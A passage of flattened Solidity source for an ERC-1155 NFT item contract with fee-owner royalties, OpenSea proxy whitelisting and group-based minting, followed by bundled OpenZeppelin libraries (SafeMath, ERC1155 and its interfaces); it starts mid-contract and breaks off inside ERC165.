/// The maximum configurable percent fee due to this contract's owner, represented as 1/1000th of a percent.
uint256 public maximumFee;
/// An event for tracking modification of the fee.
event FeeChanged(uint256 oldFee, uint256 newFee);
/**
Construct a new FeeOwner by providing specifying a fee.
@param _fee The percent fee to apply, represented as 1/1000th of a percent.
@param _maximumFee The maximum possible fee that the owner can set.
*/
constructor(uint256 _fee, uint256 _maximumFee) public {
require(_fee <= _maximumFee, "The fee cannot be set above its maximum.");
fee = _fee;
maximumFee = _maximumFee;
}
/**
Allows the owner of this fee to modify what they take, within bounds.
@param newFee The new fee to begin using.
*/
function changeFee(uint256 newFee) external onlyOwner {
require(newFee <= maximumFee, "The fee cannot be set above its original maximum.");
emit FeeChanged(fee, newFee);
fee = newFee;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy { }
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
@title An ERC-1155 item creation contract which specifies an associated
FeeOwner who receives royalties from sales of created items.
@author Tim Clancy
The fee set by the FeeOwner on this Item is honored by Shop contracts.
In addition to the inherited OpenZeppelin dependency, this uses ideas from
the original ERC-1155 reference implementation.
*/
contract Fee1155 is ERC1155, Ownable {
using SafeMath for uint256;
/// A version number for this fee-bearing 1155 item contract's interface.
uint256 public version = 1;
/// The ERC-1155 URI for looking up item metadata using {id} substitution.
string public metadataUri;
/// A user-specified FeeOwner to receive a portion of item sale earnings.
FeeOwner public feeOwner;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A counter to enforce unique IDs for each item group minted.
uint256 public nextItemGroupId;
/// This mapping tracks the number of unique items within each item group.
mapping (uint256 => uint256) public itemGroupSizes;
/// A mapping of item IDs to their circulating supplies.
mapping (uint256 => uint256) public currentSupply;
/// A mapping of item IDs to their maximum supplies; true NFTs are unique.
mapping (uint256 => uint256) public maximumSupply;
/// A mapping of all addresses approved to mint items on behalf of the owner.
mapping (address => bool) public approvedMinters;
/// An event for tracking the creation of an item group.
event ItemGroupCreated(uint256 itemGroupId, uint256 itemGroupSize,
address indexed creator);
/// A custom modifier which permits only approved minters to mint items.
modifier onlyMinters {
require(msg.sender == owner() || approvedMinters[msg.sender],
"You are not an approved minter for this item.");
_;
}
/**
Construct a new ERC-1155 item with an associated FeeOwner fee.
@param _uri The metadata URI to perform token ID substitution in.
@param _feeOwner The address of a FeeOwner who receives earnings from this
item.
@param _proxyRegistryAddress An OpenSea proxy registry address.
*/
constructor(string memory _uri, FeeOwner _feeOwner, address _proxyRegistryAddress) public ERC1155(_uri) {
metadataUri = _uri;
feeOwner = _feeOwner;
proxyRegistryAddress = _proxyRegistryAddress;
nextItemGroupId = 0;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
Allow the item owner to update the metadata URI of this collection.
@param _uri The new URI to update to.
*/
function setURI(string calldata _uri) external onlyOwner {
metadataUri = _uri;
}
/**
Allows the owner of this contract to grant or remove approval to an external
minter of items.
@param _minter The external address allowed to mint items.
@param _approval The updated `_minter` approval status.
*/
function approveMinter(address _minter, bool _approval) external onlyOwner {
approvedMinters[_minter] = _approval;
}
/**
This function creates an "item group" which may contain one or more
individual items. The items within a group may be any combination of
fungible or nonfungible. The distinction between a fungible and a
nonfungible item is made by checking the item's possible `_maximumSupply`;
nonfungible items will naturally have a maximum supply of one because they
are unqiue. Creating an item through this function defines its maximum
supply. The size of the item group is inferred from the size of the input
arrays.
The primary purpose of an item group is to create a collection of
nonfungible items where each item within the collection is unique but they
all share some data as a group. The primary example of this is something
like a series of 100 trading cards where each card is unique with its issue
number from 1 to 100 but all otherwise reflect the same metadata. In such an
example, the `_maximumSupply` of each item is one and the size of the group
would be specified by passing an array with 100 elements in it to this
function: [ 1, 1, 1, ... 1 ].
Within an item group, items are 1-indexed with the 0-index of the item group
supporting lookup of item group metadata. This 0-index metadata includes
lookup via `maximumSupply` of the full count of items in the group should
all of the items be minted, lookup via `currentSupply` of the number of
items circulating from the group as a whole, and lookup via `groupSizes` of
the number of unique items within the group.
@param initialSupply An array of per-item initial supplies which should be
minted immediately.
@param _maximumSupply An array of per-item maximum supplies.
@param recipients An array of addresses which will receive the initial
supply minted for each corresponding item.
@param data Any associated data to use if items are minted this transaction.
*/
function create(uint256[] calldata initialSupply, uint256[] calldata _maximumSupply, address[] calldata recipients, bytes calldata data) external onlyOwner returns (uint256) {
uint256 groupSize = initialSupply.length;
require(groupSize > 0,
"You cannot create an empty item group.");
require(initialSupply.length == _maximumSupply.length,
"Initial supply length cannot be mismatched with maximum supply length.");
require(initialSupply.length == recipients.length,
"Initial supply length cannot be mismatched with recipients length.");
// Create an item group of requested size using the next available ID.
uint256 shiftedGroupId = nextItemGroupId << 128;
itemGroupSizes[shiftedGroupId] = groupSize;
emit ItemGroupCreated(shiftedGroupId, groupSize, msg.sender);
// Record the supply cap of each item being created in the group.
uint256 fullCollectionSize = 0;
for (uint256 i = 0; i < groupSize; i++) {
uint256 itemInitialSupply = initialSupply[i];
uint256 itemMaximumSupply = _maximumSupply[i];
fullCollectionSize = fullCollectionSize.add(itemMaximumSupply);
require(itemMaximumSupply > 0,
"You cannot create an item which is never mintable.");
require(itemInitialSupply <= itemMaximumSupply,
"You cannot create an item which exceeds its own supply cap.");
// The item ID is offset by one because the zero index of the group is used to store the group size.
uint256 itemId = shiftedGroupId.add(i + 1);
maximumSupply[itemId] = itemMaximumSupply;
// If this item is being initialized with a supply, mint to the recipient.
if (itemInitialSupply > 0) {
address itemRecipient = recipients[i];
_mint(itemRecipient, itemId, itemInitialSupply, data);
currentSupply[itemId] = itemInitialSupply;
}
}
// Also record the full size of the entire item group.
maximumSupply[shiftedGroupId] = fullCollectionSize;
// Increment our next item group ID and return our created item group ID.
nextItemGroupId = nextItemGroupId.add(1);
return shiftedGroupId;
}
/**
Allow the item owner to mint a new item, so long as there is supply left to
do so.
@param to The address to send the newly-minted items to.
@param id The ERC-1155 ID of the item being minted.
@param amount The amount of the new item to mint.
@param data Any associated data for this minting event that should be passed.
*/
function mint(address to, uint256 id, uint256 amount, bytes calldata data) external onlyMinters {
uint256 groupId = id & GROUP_MASK;
require(groupId != id,
"You cannot mint an item with an issuance index of 0.");
currentSupply[groupId] = currentSupply[groupId].add(amount);
uint256 newSupply = currentSupply[id].add(amount);
currentSupply[id] = newSupply;
require(newSupply <= maximumSupply[id],
"You cannot mint an item beyond its permitted maximum supply.");
_mint(to, id, amount, data);
}
/**
Allow the item owner to mint a new batch of items, so long as there is
supply left to do so for each item.
@param to The address to send the newly-minted items to.
@param ids The ERC-1155 IDs of the items being minted.
@param amounts The amounts of the new items to mint.
@param data Any associated data for this minting event that should be passed.
*/
function mintBatch(address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external onlyMinters {
require(ids.length > 0,
"You cannot perform an empty mint.");
require(ids.length == amounts.length,
"Supplied IDs length cannot be mismatched with amounts length.");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 groupId = id & GROUP_MASK;
require(groupId != id,
"You cannot mint an item with an issuance index of 0.");
currentSupply[groupId] = currentSupply[groupId].add(amount);
uint256 newSupply = currentSupply[id].add(amount);
currentSupply[id] = newSupply;
require(newSupply <= maximumSupply[id],
"You cannot mint an item beyond its permitted maximum supply.");
}
_mintBatch(to, ids, amounts, data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC1155.sol";
import "./IERC1155MetadataURI.sol";
import "./IERC1155Receiver.sol";
import "../../utils/Context.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) public {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account].sub(
amount,
"ERC1155: burn amount exceeds balance"
);
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
"ERC1155: burn amount exceeds balance"
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
